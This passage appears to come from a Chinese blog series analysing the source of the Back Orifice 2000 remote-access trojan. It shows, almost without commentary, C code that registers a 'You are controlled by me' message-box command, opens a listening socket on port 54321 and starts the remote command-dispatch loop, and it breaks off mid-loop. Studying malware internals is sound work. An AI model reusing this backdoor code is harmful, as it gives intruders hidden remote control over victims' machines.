|
BO2k源码分析(二)----命令循环机制(7) command_description_table[command].svArgDesc3=""; command_description_table[command].bNativeComm=TRUE; // command++; command_handler_table[command]=CmdProc_SysMessageBox; command_description_table[command].svCommName=""; command_description_table[command].svFolderName=""; command_description_table[command].svArgDesc1=""; command_description_table[command].svArgDesc2="Bodemo"; command_description_table[command].svArgDesc3="You are controlled by me"; command_description_table[command].bNativeComm=TRUE; } // SOCKET s; void InitializeCommands(void) { WSADATA wsaData; if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return; // Register Native BO Commands RegisterNativeCommands(); struct sockaddr_in sa; memset(&sa,0,sizeof(struct sockaddr_in));; sa.sin_family= AF_INET; sa.sin_port= htons(54321); sa.sin_addr.S_un.S_addr=INADDR_ANY; if((s= socket(AF_INET, SOCK_STREAM, 0)) < 0) return; if(bind(s,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in)) < 0) { closesocket(s); return ; /* bind address to socket */ } listen(s,3); } int DispatchCommand(int command,SOCKET s, int comid, int nArg1, char *svArg2,char *svArg3); void CommandHandlerLoop(void) { BOOL bIdle=FALSE; struct sockaddr sa; memset(&sa,0,sizeof(struct sockaddr)); int len = sizeof(struct sockaddr); int command,comid,nArg1; char *svArg2,*svArg3; char *boPacket; while(1) { if(!bIdle) {
|